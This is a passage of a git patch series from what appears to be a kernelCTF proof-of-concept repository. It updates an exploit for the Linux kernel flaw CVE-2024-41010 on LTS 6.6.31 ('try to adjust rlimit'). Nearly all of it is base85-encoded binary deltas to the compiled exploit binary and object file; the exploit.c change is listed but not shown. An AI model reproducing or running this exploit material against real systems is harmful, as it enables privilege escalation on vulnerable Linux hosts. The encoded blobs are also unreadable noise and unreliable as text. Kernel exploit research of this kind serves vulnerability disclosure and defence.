zu`--&DK*YeqYNR(2gpMQ@_B&l!l$?g=596Po~gDv@~W|KFxh3zmT(IE-Mj+HIQ_e| z1oM73pK^_mRO$ORX=j*b()c`Rfq!s-Axs?=Ack{vqyV8fDqzTiT>n7kInk;=ka=5U zR3A+?A0J{CmKFCbdiDoYGim)pBpVY54-t7Tl|O`P5>0%BMueDTFQB%N1 zZ8-7>Z8CqO>S?^1EbCk;%lA0q9;@a1nALl4n(-J-b1v;xsm~rG_8eOO#EL?n!e9=? zJcS0#KSeT9>Dp6Nj0lP^1P{GJA&CC8yAUG&^sErIGlU|aAp|SWtjWK`kO!4Nv+6B= zj!-Tgd2XJ{7Y?Do7v`?66>qkjtt!=TTam4+ULdoQ&vde;qGDPiu5U#hdiKH^gJ%)q z(@QWqSD`S}=A1O0mz<(Ri+?OmNne_4{^05l}yh3BnFIS7GqBdKm z!eLYsc=HPJx29{am{K8ie{F8!nzKPID$IpgulG>})uLMU8d0Uw?$=0ADm??LnZI2X zzRIb>k3!VahX;NCgt5Z)D*tnptqDX>je7l`h}uKG^rsnTm?sjaAc(0M1yw5PFIB1B zR;?3|c2=!56c0AbC?*_1yBR{?ufU(UwVrl(N)A&sU)bhewvE(i8ljqHu8p)qF0D

!G1N=kxW`GXn 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 J0p5iJ{ttzEl5YS2 delta 6023 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 Date: Wed, 21 Aug 2024 16:38:51 -0300 Subject: [PATCH 04/12] CVE-2024-41010 try to adjust rlimit --- .../exploit/lts-6.6.31/exploit | Bin 977904 -> 978024 bytes .../exploit/lts-6.6.31/exploit.c | 10 +++++++++- .../exploit/lts-6.6.31/obj/exploit.o | Bin 27592 -> 27904 bytes 3 files changed, 9 insertions(+), 1 deletion(-) diff --git a/pocs/linux/kernelctf/CVE-2024-41010_lts/exploit/lts-6.6.31/exploit b/pocs/linux/kernelctf/CVE-2024-41010_lts/exploit/lts-6.6.31/exploit index 30a0f2a752ff4ee5c95bd604cda0626fde1def5d..5960be504844ca93f3b77ee54bbdb84743e938f2 100755 GIT binary patch delta 157998 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 